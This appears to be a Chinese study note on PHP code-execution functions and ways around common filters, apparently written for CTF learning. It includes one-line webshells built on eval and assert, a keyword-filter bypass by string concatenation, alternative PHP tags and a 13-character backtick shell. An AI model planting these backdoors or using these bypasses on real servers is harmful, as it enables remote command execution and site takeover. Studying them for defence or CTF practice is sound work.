简单代码执行的学习

常见函数

https://blog.csdn.net/qq_32108547/article/details/95649397

eval()

eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:

<?php eval($_POST[cmd])?>

assert()

与eval类

1
2
3
4
<?php
//?cmd=phpinfo()
assert($_REQUEST[cmd]);
?>

call_user_func()/call_user_func_array ()

call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

1
2
3
4
5
6
7
8
9
10
11
<?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>

<?php
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

动态函数

1
2
3
4
<?php 
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
?>

array_walk()和array_walk_recursive()

array_walk — 使用用户自定义函数对数组中的每个元素做回调处理

1
2
3
4
5
6
function myfunction($value,$key) {
echo "键 $key 的值是 $value 。<br>";
}

$a1=array("a"=>"red","b"=>"green");
array_walk($a1,"myfunction");
1
2
键 a 的值是 red 。
键 b 的值是 green 。

array_walk_recursive — 对数组中的每个成员递归地应用用户函数

1
2
3
4
5
6
7
function myfunction($value,$key) {
echo "键 $key 的值是 $value 。<br>";
}

$a1=array("a"=>"red","b"=>"green");
$a2=array($a1,"1"=>"blue","2"=>"yellow");
array_walk_recursive($a2,"myfunction");
1
2
3
4
键 a 的值是 red 。
键 b 的值是 green 。
1 的值是 blue 。
2 的值是 yellow 。

常见防护

字符过滤型

关键字符: < ? ; ()被过滤后 难度较高

如果只是过滤函数名字 绕过方法较多

1
2
3
4
5
if(!preg_match("/system|func|array|preg|eval|exec|passthru/i",$code)){
eval($code);
}

// code = ("sys"."tem")("ls");

过滤<?>的标签替代

1
2
3
4
<? echo "123";?> //short_open_tags=on
<?=(expr);?> <=> <?php echo (expr);?>
<% echo "123";%> //asp_tags=on && php<7.0
<script language="php">echo "123";</script> //php<7.0

长度限制型

1
<?`$_GET[1]`; // 长度13的限制

函数禁用型

disable_functions

0x01 LD_PRELOAD

0x02 Apache Mod CGI

0x03 PHP-FPM

构造绕过型

异或构造

或构造

取反构造

自增构造